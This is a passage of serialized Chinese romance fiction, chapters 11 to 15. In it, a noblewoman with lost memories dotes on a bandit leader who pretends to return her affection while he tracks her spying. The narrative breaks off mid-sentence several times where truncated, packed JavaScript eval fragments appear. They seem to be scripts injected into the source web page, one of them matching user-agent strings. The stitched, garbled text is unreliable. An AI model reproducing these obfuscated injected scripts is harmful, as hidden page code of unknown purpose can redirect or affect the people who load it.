“小祎...小祎哥哥,你...你刚才跑跑了,我没来得及跟你说...”她还在喘着。 所有人都在盯着这边看,苏汐惜知道再不不擦,血就要干涸发硬,绷紧在皮肤上很难擦掉了。 “那那个...你沾到了,我的血。” 她的声音放得很轻,但当时站得离校场很近,将士们还是听见了。 李祎瞬即眉头直蹙,“你说什么?” 苏汐惜只能抬起衣袖,踮起脚来替他擦脸,“我...我说...你脸上...” 李祎终于意识过来,连忙拉起她手大步往一边去,也 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“所以哪怕被你关在屋里饿了几天几夜,我也一直说服自己,你只是一时之间接受不了我,想要留些空间和时间来仔细想,并不是真的要把我饿死在屋里。” 她这话听着可不像是觉得他对她好... “所以,被关禁在屋里暗无天日,饿得饥肠辘辘这几日,我仍想着要如何努力对小哥哥你好,这个是...我剪下自己头发给你编织的罗缨结。” 她从怀里掏出一个油光水亮的发丝编织的结,十分郑重地双手捧着。 见他腰间剑穗只光秃秃一枚暖玉,用长长的红绳系着,便主动上前解下那红色,顺着她打的罗缨结的纹理,又重新打了一个,然后同她的发结紧紧系在一起,系在他腰间。 “现在,我把自己的‘一部分’系在你身上了,你的娘亲虽然没能亲眼看你平安百病无侵地长大,但往后,我会替她好好照顾你,定让你百病无侵,平安喜乐地渡过岁岁月月日日。” 苏汐惜露出真诚的微笑道。 11. 第11章 大晋女子向来极重视自己的头发。 上至权贵世家,下至黎民百姓家的女儿,都把自己的头发视为自己生命、自己身体的一部分,寻常人家女子轻易是不会乱剪发的。 苏汐惜这是等于把自己生命的一部分,和自己的身体交给他了。 这要是在以前,谨守贵女教条的苏汐惜肯定不会做那样的事。 李祎顶着湿漉漉不断往下滴水的发丝,眼神微压了压,更加断定苏家的目的不简单。 “好。”他接受她的情意道。 · 李祎让苏汐惜住在靠近他的东面偏院,是方便让她过来“联络”感情。 而苏汐惜也不负他所望地真的每日没事找事过来找他说话。 “小祎哥哥,你的衣裳我都洗干净过了,谢谢你送的衣裳,我很喜欢。” 李祎刚要去校场,见她从东侧木廊走过来,便随便瞄了一眼,谁知道这一眼,直接把他给瞄傻了。 “你这...大红大紫的颜色,还有你头上插的是什么乱七八糟的东西?” 苏汐惜晃了晃她那颗沉甸甸的,簪满金灿灿簪子步摇的脑袋,疑惑:“不好看吗?可是贵女不都这样的吗?” 李祎蹙了蹙眉,怀疑她故意装傻。 “贵女是什么样的,难道你不知道吗?” “苏大姑娘是什么样的,大晋的贵女自当是什么样的。” 他可记得从前她的眼光最是高的,当年全京都的贵女都以效仿苏汐惜衣着打扮为荣,她穿白,大家就都穿白,她穿浅色衣裳,大家就都穿浅色衣裳。 可眼下的苏汐惜却以为他在哄自己,立马羞涩地低头道:“谢谢,小哥哥不能这样,你这样会把我夸坏的。” “你真的好讨厌!” 她娇羞一笑,把他衣物往他怀里一塞,就捂着笑频频往回扭动她那颗“金光璀璨”的头颅,跑了。 李祎:“......” 李祎找到春和,质问道:“谁让你给她买这么多金簪步摇的?你以为我们寨子的钱都是大风刮来的?经得起你这么败?战马和武器谁掏钱买?” 春和委屈:“老大,先前从水帮那缴获的金银中,有许多都找不回苦主了,那些钱都足够买下一整座山头的兵马了,就给惜惜姑娘买几根簪子算得了什么?老大不要这么抠嘛,姑娘家哪能没有一件半件首饰?” “抠门”的匪首只能尽力让自己“大方”起来,抚了抚起伏的胸怀:“好,不跟你计较这个,她那身衣裳是怎么回事?这是要去唱戏还是怎样?” “我问过惜惜姑娘,惜惜姑娘说喜欢海棠,喜欢芍药,喜欢挂天边长虹一样的颜色。” 这听着跟从前闺秀范很重的苏汐惜大相径庭,不过... 他突然想起小时候,有个爱哭鼻子的小姑娘似乎说过相同的话。 “我爹爹说,京都的贵女都像花一样好看,将来,我也想穿上像海棠花啊、芍药花,像天边长虹一样色彩艳丽的衣裳,成为京都城最像贵女的贵女,让小哥哥只喜欢我一人!” “海棠芍药的颜色...”李祎喃喃自语。 傍晚时分,苏汐惜端着自己的饭食过来找差不多时间操练完回来的小哥哥一同进食,才刚从木廊绕过来,就发现李祎正好从外面回来,站在木阶下与她相遇。 “小哥哥!”她欣喜地快步迎上去,她站在木阶之上,头上甩得啪嗒啪嗒响的步摇流苏快将甩出去一样。 李祎赶紧松开手里木匣,用手掩在自己眼睛前,以防被她的珠子步摇打到。 “你来找我?”他稍微移开手掌,道。 汐惜用力地一点头,珠子立马打到他眼睛,“我问过春和了,他说你一般不用特训的话,都是这个时辰回来用膳的,我就过来陪你一起用膳了。” 李祎捂着被打痛的眼睛,立马大步跨上木阶,这么一来,她的珠子就打不到眼睛了。 “你不用特意过来陪我,饿了你就先吃,我时常会很晚回来,你脾胃不好,万一饿伤了每月的月事又有你好受的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那会儿的苏汐惜还是个小小姑娘,就已经爱臭美了,一头黄毛,头发也稀疏,纵然他学会了,可要给一个黄毛丫头梳大人的样式,出来的便成了小孩穿大人鞋的效果——发髻幼小得完全撑不起簪钗,头一晃,簪钗掉一地。 12. 第12章 十多年前风靡大晋各州的随云髻,在时隔十多年后,终于完美的出现在苏汐惜头上。 只是那时候豪贵女子追崇的随云髻,通常爱簪珍珠和步摇,凸显其华贵,而现下李祎给她绾的,为了省事,只简单地在发髻上扎一条嫣红色纱带固定,然后在左侧别一支轻巧的梅花湛蓝宝石簪,这样出来的效果竟意外地好看,衬得她娇艳得如同山涧的海棠仙子。 苏汐惜盯着铜镜都有些看呆了,忍不住把头左右扭动欣赏起来。 “这也太好看了!祎哥哥你...真厉害啊!” 李祎微微勾唇,“如此好看,寨子里一群糙汉子也不懂欣赏,委实有些可惜了。” “这样吧,今日是山下的鱼龙灯节,晚上我带你去灯会上逛逛吧?” 苏汐惜一听果然乐了,双手一合掌:“太好了!惜惜一直都想和祎哥哥一起出去,祎哥哥真好!” 李祎轻轻地“嗯”了一声,负手转身遮挡笑意,“那就赶紧走吧,现在下山刚好能赶上。” “祎哥哥你等一下!”汐惜伸手扯住他衣摆,李祎停步,回头盯着她扯他衣摆的地方,沉默着不知在想什么。 “祎哥哥,难得下山一趟,你就不用换一套衣裳吗?” 汐惜疯狂地暗示道:“别人家郎君同女郎出去,至少也...要显得跟平常不一样呀。” “你想怎样?”李祎皱眉,又心生起烦怨。 好在汐惜不像时下需要人猜心思的女郎,一下就说开了:“嗯...就是...你能换一套红色的衣裳吗?” 她低头看了一下自己身上茜红色的衣裙,羞涩道。 “老子怎会有红衣裳?!” 李祎有些控制不住自己怒火了,可一想要实行的计划,又很快让自己平息道:“我是说...山寨上的人干的都是刀尖舐血的活,穿红衣如此招摇是不要命了?” 汐惜一听觉有理,连忙:“那...那...至少换一套有颜色的呀,祎哥哥穿黑衣裳好看没错但...但总不能天天穿,夜里黑,我们到外头去稍不留神我都找不到你...” “那你想要什么颜色?”李祎按捺住脾气。 “我...我想要...”苏汐惜眼神亮晶晶的,低头看了看自己的衣裙,“要鹅黄色?” 茜红配鹅黄,嗯...绝配。 “鹅黄?”李祎想象了一下在一片红彤彤夕阳下,一群鹅黄小鸭嘎嘎路赶而过的情景。 “没有。” “那...油绿色?”绿叶配红花好像也行... 李祎扶额:“没有。” “没有这么显眼鲜艳的颜色,只能穿稍微沉色一些的。” “那你有什么颜色的衣裳?” “玄色。”他干脆利索道。 “只有黑衣??” 李祎忽想到什么似的,看了下屏风后的地方。 苏汐惜已经进屋来开始找衣裳。 结果还真只找出了黑衣,整整一衣箱里都是式样差不多的黑衣。 她顿时无话可说,看了眼面前表情严肃的李祎,突然想到:“哦,对了!” 她绕过屏风后,端出了先前她洗好归还的靛蓝色衣袍,上回他让她直接放到屏风后的架子上,没想到他就一直放到现在。 “这套也不错,祎哥哥就换这套吧。” 李祎看了眼她手上一股子馨甜气息的衣裳,蹙眉:“这衣裳还非得换不可吗?” 苏汐惜头耷拉下来。 “好...我换总可以了吧?” 她便又眼神里燃烧起两簇小小的雀跃来。 李祎为了让事情进展得更顺利,和让她彻底放下芥蒂,这衣裳是不得不换了。 由于这靛蓝衣袍是搭配着白色里衣穿的,他又不得不把身上的黑里衣脱去。 可就是...她也不知道用什么来洗的衣裳,穿上去的时候,感觉衣裳里是一股子甜腻腻的花香味。 如同站她身旁很靠近时闻到的气息一样。 这样就不禁会让他联想到衣裳穿到她身上时的情景。 说来奇怪,明明先前他也穿过这套衣裳,那时候都没有这种感觉,这回穿上却感觉好像有些不一样了。 那干燥而柔软的上好雪色棉质,曾经裹挟过她那曼妙的婀娜,玲珑的线条,凝脂一样的肤质,透薄的荔枝膜,撕开汁水鲜甜。 他眉头拧成了疙瘩,拳头收紧,小臂上青筋浮突。 好不容易终于更换好衣裳,拉开屏风,见她已经站定在屏风外,对他展颜灿笑: “小祎哥哥,这衣裳你穿着比我好看呢...” 他顽固地依旧紧握双拳,只是脊骨尾端无故泛起麻意,小腹紧绷起来。 这里里外外曾紧贴过她的布料,套在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他却仍闲闲道:“看女子的发式,二人应是新婚夫妻,而且他们也没堂而皇之就牵手,是方才那位夫人不小心绊到脚,夫君扶了一下就松开了。” “即便人家是夫妻,依然恪守规矩,不曾逾矩。哪像你。” 他说完,汐惜眼睛垂了下去,低头转身离开。 这时李祎心想自己是否言语上太苛刻,想要叫住她的时候,发现四周有不少年轻郎君都在暗暗偷看她。 13. 第13章 说实在话,今日的苏汐惜一袭红罗裙,即便不施粉黛,依然容光照人。 她头上的发髻虽过时已久,如今大晋各州女子多流行式样端方的牡丹髻或瑶台髻,鲜有人会梳十多年前老一辈时兴的随云髻了。 可有些人天生出来就是到哪都能引起一层浪潮的,尤其是换上了一身妍丽颜色,不甘收敛光芒的苏汐惜。 先前李祎凛若寒霜地杵在她附近,旁边人不敢明目张胆地看她,如今她就那么往人潮中一站,很快惹来不少目光。 男的女的皆有。 女的多是被她这旧髻新梳的发式和她的妆容衣着吸引,男的则多带慕恋之色,只敢悄悄地、偷偷地看,看得不如女的堂正。 最后还是一个年轻姑娘率先上前去找汐惜搭话。 “这位姑娘,你这妆容和发髻好好看啊,衣裙也好看,能教我梳这发式和穿戴吗?” 汐惜没来得及回话,立马又有第二个姑娘也挤前来,“对啊,你这簪子太好看啦,衬得你特别美,我从那边一下就看见姑娘你了,这簪子你是从何买来的?” 有人带了头,紧接着就有接二连三的人凑过去,七嘴八舌地同汐惜说起了话,也开始有男子主动上前同她说话,问她有否婚配。 李祎没想到带她出来一趟,事儿这么多,他长腿一迈,三两步走到前头去,用冷冽的目光扫视众人。 众人被他目光吓得顿了一下,连忙后退,紧随着,他才走到苏汐惜面前,双臂环起与她道:“要不...牵袖?” 他这听起来傲慢又自负的话,却让眼前这位绝色佳人唯独是对他展颜笑,周遭众男子皆是不忿。 “嗯!我最喜欢小祎哥哥了,岁月如梭,吾心如一,世间繁华,只为你倾。” 她一边妙语连珠地大放情话,一边越过他递来的袖子,旁若无人地将手滑入他掌心,与他十指紧扣。 “喂!你...” 柔若无骨的小手滑进他手指缝间时,他感觉一种怪异的麻感漫遍全身,犟硬的骨头一下就软掉了,想喝止她的话到了唇边,却怎么也说不出来。 “啊?怎么了?小祎哥哥不是说惜惜可以牵你手了吗?”她轻眨美眸回头,前路灯火璀璨得让他有些眼晕。 “是牵...” 然后他发现四周男子都在看他。 李祎第一次有一种,倘若他松了手就会被人掠夺掉的紧迫感,便烦躁地将头扭开,任由她牵着了。 “没...没事了。” 二人小手拉大手一起走过星耀夺目的街市口,男子的手越发僵硬,女子的手却越缠越紧。 这姑娘还不是个老实人,牵上手后,她还得寸进尺地越发挨蹭靠近,两手交缠之余,细嫩的指腹还要打着圈抚上他手背。 手背还好,可她还试图用拇指碰触他手心。 她的拇指指腹温暖,轻轻触一下又像羞涩似的缩回,然后又试探着碰触,如此往复好几次,李祎被她弄得心里像被蚂蚁咬了一样,手僵在那里,手心止不住出汗,另外一侧的手却忍不住越掐越紧,微微有些发抖。 穿过了一条灯火和人潮川流不息的大街时,来到一条相对安静些的街道,此条街道多是茶肆和茶馆,周遭环境优雅,没有那些盯着汐惜看的年轻男子之后,李祎立刻甩掉她手,走出几步用后背背对她道:“听说这边有家茶点味道很好,我去给你买些。” 说完,就扔下她走了,汐惜想追也没追上。 她在往街道深处消失的人影追去的时候,路过一家门口栽竹大敞着门的茶馆时,忽然听见里头有人在讲述这周边风光、人情风土。 望了望已然追逐不上的人,汐惜只好停下来歇脚,到里头找了个位置喝茶听人高谈。 “姑娘几位呀?这边请,这儿有位。” 茶馆小二一见人进立马热情地招呼着。 苏汐惜进来的时候,立马又引起了一批新目光。 茶馆看着像是新装潢的,桌椅都很新,正央有乐人拿着把二胡拉弹,说书的人则被众人围绕在台下不远的角落里。 苏汐惜点了一壶菊花清茶,挑了个稍微靠近的地方坐着旁听。 “我们车前镇位于芜山山脚之下,依山傍水,因着地理环境优越,在十多年前,得官府拨款在镇子前面的地方修建了官道,连通京都、徐州、柳州等富庶之地,镇上百姓只要到门前摆摆摊子一家子就能过得挺滋润的。” “可打从我们锦州的上一任县令被革职查办,这里就彻底沦为无人管辖之地,以致匪贼横行,时常有山匪堵在官道处拦截商旅,久而久之,这里就落荒了下来。” “先前的县令把这里建得那么好,为何还会被人革职查办呢?” “对啊,我听我祖父和爹娘说过这位吴县令,从前他爱民如子,还时常在灾年四处募捐筹钱给百姓施粥,平常穿着也清贫,怎么看也不像是贪赃朝廷官银的人啊!” “唉!大家都有所不知啊,这位吴县令从前是容家提拔的人啊,那容家一门出了十二武将、三文臣、二妃、一后、一相,深得帝王恩,却在一夜之间贪银无数被查,后又查出逆谋之事,牵扯朝内朝外不少人,连吴县令一个被提拔之人也牵涉在内了!” “哦!这事情我好像当年曾有听闻,好像前太子殿下因为这件事给容家求了情,结果就被牵涉其中,还被废了贬为庶人发配流放了!” “是啊,被抓走了个好官,结果来了个新官后,这镇上就彻底被山匪盘踞了,要是你们几年前来这里,大概连骨头都不剩了。” “那近年来这里繁华了起来是为什么呀?” “前些年车前镇附近各大山头有各帮派土匪盘踞,乱成一团,可近年突然多了一个叫黑鹰的帮派,逐渐将附近山头的山匪打服,慢慢壮大,抢占山头。” “最近更是把水帮那些畜生也收了,彻底占领了芜山。” “而且,这些黑鹰帮的人据闻管理有素,帮派中人从不打家劫舍,相反,他们还会把从各帮那里收缴回来的东西找到原来失主归还,有时还会救济山下穷人,可谓侠义之士啊!” “所以我们车前镇暂停了好些年的鱼龙灯节今年又重开了,还吸引了各方游士,就是你们今夜所看盛景了。” 说书先生停下幽幽抿了盏茶。 苏汐惜听得忍不住嘴角上扬。 原来,她的小哥哥这么厉害,这么受人崇拜啊... “今夜游士如此多,正是大家可以互相了解各地风貌人情的最佳时候,如果有亲人朋友在其他州县的,想要捎信问候的,在此处找人带去也比较方便也更快。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随从出了茶馆门口穿游人流去盯人后,李祎独自坐茶桌旁,姿态优雅地沏茶品茶,他那身浑然天成的气质,像极了京都来的名流之辈,任谁也不会把他当成当今芜山最大的帮派匪首。 苏汐惜去了没多久就回来,回来时脚还崴到了,身上衣裙破了,一瘸一拐地走回来。 李祎就光拿着茶盏在那里喝茶,看她从门槛单着脚跳进来。 “找到簪子了?” 不承想她都伤成这样了,他开口第一句却是关心簪子找到没有。 虽然汐惜她也心虚,但更心痛。 “小祎哥哥你...都不在意惜惜的吗?”她本想着自己理亏,就忍一忍了,但如今见他的态度这样,眼泪又忍不住在眼眶里打转。 李祎微笑着又不慌不忙抿了口茶,完全没有要过来搀扶她的意思。 好在先前他派出了人盯她,这狡猾的姑娘竟为了将她丢了他送她的簪子的错掩盖,不惜把脚崴伤,还把衣裙撕破。 她趁着这里鱼龙混杂让茶馆的说书先生帮她传递信件,还要把他赠送的价值不菲的簪子当作送信酬劳,想必,她要送的这信,定不是简单的“家书”。 14. 第14章 李祎在带她下山的时候,就猜到了会有什么样的事情发生,所以他一点也不惊讶生气。 相反,脾性凉薄的她若是不做出什么,他倒要怀疑了。 如今见她露出狐狸尾巴,他才终于能松一口气。 “在意,怎么不在意了?这不是人家店家都要关门,我怕走了你找不着,硬是厚着脸皮坐店里等你?” “若不在意,”他还悠悠又抿了口茶才继续,“恐怕早就不等你,上山去了。” 汐惜看着他面前摊开油纸,只吃剩一两块的茶点和碎屑,眼眶里的泪水积累到极致,便一个劲啪嗒啪嗒掉下来。 虽说她做了这样的事情确实有些理亏,所以她为了瞒过他,才会特意将自己脚踝崴伤,但衣裳却不是她故意弄破的。 她的小哥哥亲自挑选送她的衣裙,她喜欢得不得了,就算要假装可怜也断不可能弄破它。 是方才不知谁在她搬石头要砸自己那下,突然撞了她一下,害她石头掉了,裙子也被一旁栅栏上的钉子勾破了。 伤心欲绝之下,她也不用故意弄伤自己,脚就自己弄崴了。 瘸着腿穿过人流,好不容易回到方才的茶馆,不见他半点的紧张怜惜,反倒是看见他把说买给自己的茶点吃了个八□□九,还一来就只关心她找到簪子没有... 她是出去找簪子的没错,但也不能一来就关心这个呀?难道都没看见她脚伤了,衣裳破了吗? 苏汐惜站在原地落泪,一些没来得及离开的客人就都看呆了。 美人落泪,谁见谁怜。 大概也就那铁石心肠的人,才会无动于衷。 这会儿已经有不少男子蠢蠢欲动着想要上前慰问一两句了。 李祎抿着茶,瞧见那些感情过分泛滥的男子的垂怜目光,眉头一蹙,迫不得已搁下茶盏,走出座位。 见他过来了,汐惜觉得更委屈,泪眼婆娑之下,心想着这回不管他说什么都不好办了。 谁知他一来就直接将人扛起,不顾旁人的目光将她带离茶馆。 双脚离地被人硬生扛起的那一瞬,苏汐惜感觉自己心脏都快飞出来了,整个人像鸟雀一样轻盈。 天旋地转间,有什么东西便在心间疏散化解,忽闻到什么雨后清新气息般,又像凉风灌入胸腔,将委屈一扫而空般,奇异地,那些皱皱褶褶的委屈酸涩便一下子捋平了,心情一下子转好。 趴在她的小哥哥宽阔结实的肩头,苏汐惜羞涩的同时,又有种让人难以启齿的,头发丝都在发麻的舒服。 可她还要最后挣扎一下,试图挽回自己那少得可怜的自尊:“那...那个,茶点不是买给惜惜的吗?” 李祎顿住脚步回望了一下,见茶馆小二都已经在收拾他那一桌了,便道:“等着,给你买。” 说完,他长腿一迈,眼前颠倒的光影世界晃得真如天上繁星银河,她没被晃晕过去,而是沉浸在漫天星辉的爱河中难以自拔。 倘若恢复记忆的苏汐惜能重回这一刻场景,定然会认为自己当时是被晃傻了脑子。 没过一会儿,苏汐惜便在他后背闻到了香甜的味道,应该是来到那家点心铺了。 李祎点名了几款茶点名字,付过钱,便提着一包比方才那包还大的点心,扛着她走了。 一路往回去山上的路去,苏汐惜在头晕中看着离她不远处的点心,闻着幸福的香甜味,突然一下倒挂着环住了他的窄腰。 李祎停顿了下,眉头再一次紧扣,却没急着将她两手掰扯掉。 “怎么了?” “小祎哥哥...” “嗯?” “我...我错了...” 他耳廓微动,“什么错?” “我...爱你我不知所措。” “......” “小哥哥,你怎么不说话了?” “你生气了吗?” “没...只是有点无语。” “那是因为你的雨,全都滴打进我的世界里,就像我的心跳,每一下都在说:我喜欢你。” “你怎么又不说话了?” “能不能闭嘴你。” “那你得先闭嘴。” “我刚才没说话,不是你问我怎么不说话吗?” “你是没说...可你在我脑子里说了呀,不然我为何现在满脑子都是你的声音呢?” 李祎终于学乖,这下无论她再怎么试图撬开他嘴巴,他都死不回应。 一旦回应了,他怕自己忍不住将她掐死后,自己再尴尬导致脚趾尽断而亡。 · 如今苏汐惜在芜山上可以随意走动,李祎并不限制她的活动范围。 “如果觉得闷,还可以去那边果子林摘果,让春和跟着你就行,那边山坳里还有野花可以采,你一个人的时候不要乱跑。” 李祎说这话的时候,还在校场边,扛着长枪陪将士们一同操练,他身上单薄的布衣已经湿`透,鬓发带汗,汗水从紧贴鬓前的一绺墨发往下滴,滴到露出半臂的胳膊上,眼看着还在沿那线条流畅的肌肉线往下。 汐惜定在那里看了好久,直到李祎回过神来发现她没听,挥动长枪在她面前一扫,劲风带得她衣裙起拂,鬓发飞起,她“啊”一声回神,不知该去按头发还是拉裙角。 “你想什么,没听见?让你别乱跑,知道吗?尤其是寨子后面那片树林,里头有猛兽,千万别进去知道吗?” 李祎也没想到女子衣裳衣料这么轻`薄,轻轻一扫风就起来了,觉得麻烦的同时,身体已经主动倾身过来,替她挡着一二。 苏汐惜匆忙整理好衣裙,抬头便见他身子横过来,离自己靠得十分近,连他身上独特的男儿气息混合草木芳香的味道都闻得一清二楚。 一阵心驰神旷,她突然觉得腿软了一下,手便很不合时宜地按在了他衣襟微开的胸膛上。 原...原来这薄`肌摸起来感觉是这样的,瞧着薄而线条精致,可按上的那刻才发现里头蓄发着怎样炸裂的力量,因为它一开始摸上时还是放松的柔软状态,后来就进入警戒,变成了钢板一样的蓄势待发,害她稀罕得没舍得释手。 待她想起来抬头看人时,发现李祎脸都黢黑了。 “摸够了?”他沉着脸寒声。 “没呢...”她愣愣地,手还在试图往里,突然意识到自己在做什么,吓得被烫到似的“啊”一声收回,脸色涨红,“我我我...我在干什么呢...” 然后她自觉丢脸也待不住了,捂着脸往外跑了几步,忽发现自己脚伤还没完全好,现下那么一激动又有点崴了。 李祎有些抑闷,被占便宜的人是他,怎么她倒还显得更像受害者? 无奈之下,他只好过来打算将她抱回寨子去。 而这时霍无名来了,身边还带着个推木头车的小卒。 “老大,你这是要送苏姑娘回去吗?让阿超来吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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其实苏苏方才只是坐在木头车上有些无聊,忽然想到什么就问什么罢了。 从校场回寨子的途中会遇一座小土丘,她瞧着那土丘的形状很像堡垒,便突发奇想问:“阿超小哥是吗?你看那小土丘的样子,你说这里头挖个洞能藏多少人啊?” 阿超便警觉了起来,想到霍大人交待的,此女很有可能会刺探山上军情,定要加倍小心。 “这种山石难开凿,哪能藏人啊?更何况,就光这水帮留下的寨子,都不少住的了,哪还用凿洞住人?” 提起那群被黑鹰帮打退的水帮,汐惜忽然想起鱼龙灯节在山下听说的黑鹰帮的光辉事迹,忍不住问:“听说那水帮规模挺大的,被咱们黑鹰帮打退以后,有多少人追随咱啊。” 她这探问说迂回也迂回,但目的性也挺明显的了,只因她是一柔弱女子,倘若不是事先知道她的居心,很可能就真的以为她随口一问。 阿超便按霍大人事先同他交代的,把数目往少两倍说。 只见苏女眼睛明亮,一脸迷恋,“小祎哥哥果然厉害。” 还挺会装。 又过了一会,苏苏坐着木头车坐得着实腰酸,又不好意思明说,只得暗示道:“那个...阿超小哥,你们这木头车用什么木造的啊?还挺...硬实的,是运什么用的吗?总不能是运人吧,那么硬时间长了人也不舒服,而且,我看你们这木头车数量也不少啊...” 潜台词想说这种坐了腰酸背痛的木头车是不是造多了,所以才拿一辆过来给她当辇车,那至少也总该弄些软垫啊。 可那五大三粗的小卒却听成了,她要刺探他们所运载的军备军需都有些什么,数量多少,军备运载车需要多少炸药才能彻底毁掉。 15. 第15章 苏汐惜回到自己院子,用铁打药给自己揉了一下脚后,感觉又能够走动了。 她在屋里一遍遍地回想起,刚才在校场,她的小哥哥对她说的那句:“你乖些。” “乖些?嘻嘻,乖些...” 她把头埋进引枕,脸蛋红彤彤的,眼睛弯成了月牙形,嘴里一直痴痴念叨着。 “他说让我乖些...他说乖些...” “乖些乖些乖些乖些乖些...” “嘻嘻,乖些!” 她活像被邪祟勾走了魂魄似的,一个劲嬉笑着抱紧引枕在矮榻上滚来滚去。 “乖些!哈哈...乖些!他说让我乖些!” “那我就是他的宝儿了?他拿我当宝儿来怜惜,疼我爱我,真心喜欢我喜欢得不可自拔了,所以就脱口而出,说...” “让我乖些!” 远在校场操练的李祎做梦没想到,自己用从前哄狗的话对她说的话,已经被她深度理解成那样的意思了。 不过也好,反正他就是要迷惑她,放松她警惕,才故意假装被她迷倒,对她心软。 原本以为很难,但这么一看好像也不难。 苏汐惜快要乐上天了,不停地重复“乖些”,然后捂着脸笑,手脚不断在榻面上捶打。 突然,她怀里一本鹅黄有兰花印的本子便“啪”一声掉了出来,雪白的书页翻飞,最后停在某页上便停了下来。 苏汐惜擦干笑出的眼泪,捡起本子,目光扫过几行字,顿了下来。 · “惜惜姑娘你要去山坳,我可以带你去啊,要拐杖做什么?” “那个...我看春和小哥平时也挺忙的,就不打扰了吧...你帮我准备拐杖,我自己在屋里闷得慌,去山坳那边采点花也不错。” 春和为难道:“惜惜姑娘脚伤没好,最好还是先待屋里歇息,养好脚伤再说吧,你想摘什么花告诉我,我去帮你采?” “我想采...那那个,其实我也并不是真的想采花,你没看过医籍可能不知道,伤了腿脚也不能一直待屋里的,这样也不利于康复后行走,正所谓不用则废,是需要活动活动一下才利于日后行走的。” 春和成功被她忽悠过去,挠挠头道:“那...好吧,那惜惜姑娘想去哪里,我陪姑娘去吧。” “不用,我...” “这是老大特意叮嘱过的,惜惜姑娘去别的地方一定要有人陪着,不然老大回头怪罪我的。” 如此,苏汐惜只好让他跟着。 春和给她找了根结实的树杈当拐杖,还特意把手握的部分磨光滑了,汐惜扶着拐杖走了几步,本来脚就好得差不多,又用上好的铁打药,如今有好拐杖走路就更顺当了。 “那去山坳那边走走吧。” 走到山坳那边,苏汐惜在山坳上左看右看,来来回回扶着拐杖走了好几遍,还一直唉声叹气,一朵花也没采。 “可是...没有惜惜姑娘想要的花?惜惜姑娘想要什么花可以告诉我,我去给姑娘找。”春和道。 “我...”汐惜看了看漫山遍野的花,欲言又止,最后还是道:“都是这种带草茎的花,就没有那种长在树上的花吗?” “带草茎的花适应性强,可在较差环境存活,而长树上的花需要的条件却苛刻多了,苏姑娘是在打探附近水资源丰富的地方。” 这时在另一边,霍无名听完手下回禀的情况,同李祎分析道。 “这苏姑娘还真是比想象的厉害呀,竟然想到这种查探方式,属下若不是行军打仗多了得出经验,也不知道这一点,这苏姑娘竟如此博学,一个足不出户的大家闺秀连这种野外知识都知道。”他忍不住题外夸了一下。 李祎冷哼一声,“要不然当初京都的人又怎么会将她与老子相提并论呢。” “那山坳西边正好是一个豁口,从那儿能够看到通往山下的地方,她又正好来到那个豁口附近来来回回地看,这不是想给她苏家的兵马找通往山上的近道是什么?” 李祎点头,“后来她又去了哪儿?” “后面她就问春姑山上哪儿能有长在树上的花,春姑同她提了一嘴寨子后面那片树林。” “她去了?” “没去,殿下先前不是同她强调了让她别去那边,说有猛兽吗?” “老子那是诱敌深入的计谋呀,这是掌握人性,我越不让她去,越不想让她打探的地方,她反倒会千方百计想打探出来,若不是她刚才脚又弄到,我就会反复给她强调不要去,加深她印象了。” “嗯,有道理,那我们就静待后续吧。” 苏汐惜听春和说了只有寨子后方的树林有长在树上的花之后,便回去了。 因为她的小哥哥同她叮嘱过不让她去那个树林的呀。 可是...她不去的话,又怎么找... 这件事不可让她的小哥哥知晓,所以她只能偷偷地,一个人前往,但是,那里有猛兽呀。 怎么办?到底怎么办呢? 苏汐惜急坏了,要再不去的话,可能就来不及了,可去的话又... “她去了!苏姑娘她果真独自前往了!” 霍无名急吼吼地跑来回禀最新情况道。 “她脚还伤着,这是拄着拐杖也要进林探出究竟吗??” 李祎生出些莫名的恼火,许是怪她太急了,又许是心里还是隐约对她有期盼的,这下一下就完全掐破掉。 “殿下既然早已早已看穿她,以苏姑娘的聪明才智,想必也料到她定会很快找到树林里了。”霍无名道, “那个林子里屯扎了大量我们的旧部,一旦她查到那里,必定会认为这就是我们最后的底牌了,再加上殿下极力抗拒她进入,她应当会相信了。” “然后呢,”李祎嗤了一声,“然后她就可以计划她的下一步了,是吧?” · 苏汐惜从林子赶回来,天色已晚。 她赶得差点又崴了脚,幸好回来时她的小哥哥还没回。 虽然没再次伤到,可由于回来时她怕时间来不及,走得快了,现下伤着的脚踝那里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“轻...轻点揉。”汐惜都快哭了,感觉脚踝骨被揉成碎屑了。 “疼你不早说!” 他带点怪罪的意思,立马放轻了力度。 见他着急紧张的样子,汐惜忍不住甜笑,全然忘了自己方才还在为瞒骗了他而愧疚。 “小祎哥哥你...” “好了,不许说话。” 李祎早有预料她会“大放骚`词”似的,先一步阻止她说话。 “我想说...” “你不许说!” “你知道我说...” “知道!你别说了...”他没好气,“你不就想说老子是你的止痛膏,是你的心疼药,有了老子你就不疼了呗!” “我...” “你还想说你是骨头髓子里疼,然后诱惑老子问你为何会骨头髓子里面也疼,你就会说——” “因为想我想到了骨头髓子里!” 苏汐惜忍不住“噗嗤”一声,满意地笑了。 李祎却后知后觉地仿佛又中了她的奸计似的,恼羞起来:“不许笑!” “好...”好难啊,她的小哥哥都学会给她说甜甜的情话了,怎可能不高兴地笑? “不许再笑了!听见没有?!” 汐惜笑容清甜地托着下腮看他,笑道:“好...” “......”